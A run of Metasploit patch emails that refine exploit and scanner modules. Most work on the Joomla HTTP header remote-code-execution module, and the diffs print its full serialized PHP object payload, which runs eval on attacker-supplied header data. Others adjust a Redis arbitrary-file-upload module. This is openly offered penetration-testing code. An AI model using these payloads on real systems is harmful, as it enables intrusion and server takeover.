b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -25,7 +25,11 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'] + ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'], + ['URL', 'http://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367 + ['CVE', '2013-4786'], + ['OSVDB', '95057'], + ['BID', '61076'], ], 'DisclosureDate' => 'Jun 20 2013' ) From 675dff3b6fd4bb132971c7318b17272411e8ea6d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 13:04:15 +0100 Subject: [PATCH 1622/2172] use Gem::Version for version compare --- modules/exploits/multi/http/joomla_http_header_rce.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1b72f2afbc..2895502d5a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -68,11 +68,12 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") + version = Gem::Version.new(php_version) + vulnerable = false - vulnerable = true if php_version < '5.4' - vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' - vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' - vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) unless vulnerable vprint_error('This module currently does not work against this PHP version') From 2661cc5899edf50bf81009880a116243111a5ad3 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 13:49:07 +0100 Subject: [PATCH 1623/2172] check ubuntu specific version --- .../exploits/multi/http/joomla_http_header_rce.rb | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2895502d5a..a20101a754 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) @@ -75,6 +75,18 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) + # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog + if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' + vprint_status("Found Ubuntu PHP version: #{sub_version}") + if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + else + vulnerable = false + end + end + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe From 934c6282a5ea7ba0263b1a3cc9c0a4a448669e0c Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 13:52:06 +0100 Subject: [PATCH 1624/2172] check for nil --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index a20101a754..7cd87f3007 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -136,8 +136,9 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) + fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, From 60181feb51af2809acc21be27174e3587ec1926d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 14:02:26 +0100 Subject: [PATCH 1625/2172] more ubuntu checks --- .../multi/http/joomla_http_header_rce.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 7cd87f3007..2bec5eb781 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -75,12 +75,19 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) - # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 - # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog - if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + # check for ubuntu specific versions. Was fixed in + # * 5.5.9+dfsg-1ubuntu4.13 + # * 5.3.10-1ubuntu3.20 + # Changelogs (search for CVE-2015-6835): + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{sub_version}") - if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + + if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) vulnerable = true else vulnerable = false From fa3fb1affc5cc2b429968fc366404d67799c3137 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 14:18:44 +0100 Subject: [PATCH 1626/2172] better ubuntu version check --- .../multi/http/joomla_http_header_rce.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2bec5eb781..e0523a87bc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -69,11 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) - vulnerable = false - vulnerable = true if version <= Gem::Version.new('5.4.44') - vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) - vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) # check for ubuntu specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 @@ -85,13 +81,19 @@ class Metasploit3 < Msf::Exploit::Remote sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") - if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) - vulnerable = true - elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) - vulnerable = true - else + if version > Gem::Version.new('5.5.9') vulnerable = false + elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13') + vulnerable = false + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20') + vulnerable = false + else + vulnerable = true end + else + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) end unless vulnerable From 67eba0d7081e8aecddb85cde5f539900530f63aa Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 14:46:00 +0100 Subject: [PATCH 1627/2172] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index e0523a87bc..bf0c0c9152 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,7 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. + exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20. }, 'Author' => [ From 30f90f35e982153053f9bd138772784f58fe8cae Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 15:19:33 +0100 Subject: [PATCH 1628/2172] also check for debian version number --- .../multi/http/joomla_http_header_rce.rb | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index bf0c0c9152..af6e00c3d5 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and - 5.3.10-1ubuntu3.20. + exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. }, 'Author' => [ @@ -67,20 +67,20 @@ class Metasploit3 < Msf::Exploit::Remote end php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' - vprint_status("Found PHP version: #{php_version}") - version = Gem::Version.new(php_version) vulnerable = false - # check for ubuntu specific versions. Was fixed in + # check for ubuntu and debian specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 # * 5.3.10-1ubuntu3.20 - # Changelogs (search for CVE-2015-6835): + # * 5.4.45-0+deb7u1 + # Changelogs (search for CVE-2015-6835 or #70219): # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -91,7 +91,19 @@ class Metasploit3 < Msf::Exploit::Remote else vulnerable = true end + elsif rest && rest.include?('+deb') + sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' + vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + + if version > Gem::Version.new('5.4.45') + vulnerable = false + elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1' + vulnerable = false + else + vulnerable = true + end else + vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) From b43d580276916a3178249bd79321e78d696aaf19 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 16:16:59 +0100 Subject: [PATCH 1629/2172] try to detect joomla version --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index af6e00c3d5..1f10f7e5fa 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -114,6 +114,14 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) + if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>') + joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || '' + if joomla_version + return Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + end + end + res.get_html_meta_elements.each do |element| if element.attributes['name'] && /^generator$/i === element.attributes['name'] && @@ -123,9 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) - return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>') - Exploit::CheckCode::Unknown end From 12764660b2185e54b1d78fbd1581cf1c9c845260 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 16 Dec 2015 11:07:27 -0800 Subject: [PATCH 1630/2172] Remove compression bits from description; remove unnecessary module options; require DISABLE_RDBCOMPRESSION --- modules/auxiliary/scanner/redis/file_upload.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index b977411db9..794431e927 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -18,9 +18,8 @@ class Metasploit3 < Msf::Auxiliary achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot - (yet) be completely controlled. Depending on the contents of the - file that is being uploaded, Redis may compress the data that is - ultimately stored in the specified target location. + be completely controlled given the nature of how Redis stores its + database on disk. ), 'License' => MSF_LICENSE, 'Author' => [ @@ -32,10 +31,7 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], ['URL', 'http://redis.io/topics/protocol'] ], - 'Platform' => %w(unix linux), - 'Targets' => [['Automatic Target', {}]], 'Privileged' => true, - 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 11 2015' ) ) @@ -44,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), OptString.new('RemoteFile', [false, 'Remote file path']), - OptBool.new('DISABLE_RDBCOMPRESSION', [false, 'Disable string compression when dump .rdb databases', true]) + OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true]) ] ) end @@ -75,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary # If you want to save some CPU in the saving child set it to 'no' but # the dataset will likely be bigger if you have compressible values or # keys. - if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') return unless data.include?('+OK') From f616ee14a834286107977ed524a6b5c0b6ced60f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 16 Dec 2015 11:11:00 -0800 Subject: [PATCH 1631/2172] Dont abort if compression can't be disabled --- modules/auxiliary/scanner/redis/file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 794431e927..fd89048774 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary # keys. if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') - return unless data.include?('+OK') + print_error("#{peer} -- Unable to disable rdbcompresssion") unless data.include?('+OK') end # set a key in this db that contains our content From 865e2a7c187f93d8876da4e779a36b36c067555b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 16 Dec 2015 11:20:13 -0800 Subject: [PATCH 1632/2172] Only test/reset rdbcompression if told to and redis is configured that way --- modules/auxiliary/scanner/redis/file_upload.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index fd89048774..3842aea864 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -56,7 +56,9 @@ class Metasploit3 < Msf::Auxiliary # XXX: this is a hack -- we should really parse the responses more correctly original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last - original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last + if datastore['DISABLE_RDBCOMPRESSION'] + original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last + end # set the directory which stores the current redis local store data = redis_command('CONFIG', 'SET', 'dir', dirname) @@ -73,7 +75,12 @@ class Metasploit3 < Msf::Auxiliary # keys. if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') - print_error("#{peer} -- Unable to disable rdbcompresssion") unless data.include?('+OK') + if data.include?('+OK') + reset_rdbcompression = true + else + print_error("#{peer} -- Unable to disable rdbcompresssion") + reset_rdbcompression = false + end end # set a key in this db that contains our content @@ -96,7 +103,9 @@ class Metasploit3 < Msf::Auxiliary # XXX: ensure that these get sent if we prematurely return if a previous command fails redis_command('CONFIG', 'SET', 'dir', original_dir) redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) - redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) + if datastore['DISABLE_RDBCOMPRESSION'] && reset_rdbcompression + redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) + end redis_command('DEL', key) redis_command('SAVE') end From 76438dfb2f677809a69c90431c1d47689ded7ce0 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 20:31:43 +0100 Subject: [PATCH 1633/2172] implement @wchen-r7 's suggestions --- .../multi/http/joomla_http_header_rce.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1f10f7e5fa..b3f8c6234f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -51,6 +51,11 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) + + register_advanced_options( + [ + OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), + ], self.class) end def check @@ -80,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -93,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote end elsif rest && rest.include?('+deb') sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' - vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.4.45') vulnerable = false @@ -103,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true end else - vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found PHP version #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) @@ -117,8 +122,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>') joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || '' - if joomla_version - return Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + unless joomla_version.empty? + vprint_status("Detected Joomla version #{joomla_version}") + return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') end end @@ -131,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end def get_payload @@ -152,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if check == Exploit::CheckCode::Safe + if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false print_error('Target seems safe, so we will not continue.') return end From 08d0ffd7097de8f2178d12e1b33a0d8d223d5e97 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 22:44:01 +0100 Subject: [PATCH 1634/2172] implement @wvu-r7 's feedback --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index b3f8c6234f..ed91c4b45b 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla', {}]], + 'Targets' => [['Joomla < 3.4.6', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end - def get_payload + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' - pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' post = "\xF0\x9D\x8C\x86" return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" @@ -164,10 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Sending payload ...") + header_name = Rex::Text.rand_text_alpha_upper(5) res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, - 'headers' => { datastore['HEADER'] => get_payload } + 'headers' => { datastore['HEADER'] => get_payload(header_name) } }) fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies @@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { - 'CMD' => Rex::Text.encode_base64(payload.encoded) + header_name => Rex::Text.encode_base64(payload.encoded) } }) end From 8c43ecbfaff767fdbbee036bed4d3995ef538e96 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Thu, 17 Dec 2015 00:08:52 +0100 Subject: [PATCH 1635/2172] add random terminator and clarify target --- .../multi/http/joomla_http_header_rce.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index ed91c4b45b..1be5c92468 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla < 3.4.6', {}]], + 'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,13 +140,19 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end + # gets a random 4 byte UTF-8 character + def get_terminator + # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF + [rand(0x10000..0x10ffff)].pack('U*') + end + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" - middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" - middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' - post = "\xF0\x9D\x8C\x86" - return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + t1000 = get_terminator + return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}" end def print_status(msg='') From a8bb750db7dc49c1cd5c36a672b789a3d706c46f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 17 Dec 2015 13:45:32 -0800 Subject: [PATCH 1636/2172] Address style/usability concerns in Android CVE-2012-6301 module --- ..._stock_browser_iframe_dos_cve_2012_6301.rb | 62 ++++++++++++++++++ .../android_stock_browser_iframe_dos.rb | 64 ------------------- 2 files changed, 62 insertions(+), 64 deletions(-) create mode 100644 modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb delete mode 100644 modules/auxiliary/gather/android_stock_browser_iframe_dos.rb diff --git a/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb b/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb new file mode 100644 index 0000000000..ae5709b7d7 --- /dev/null +++ 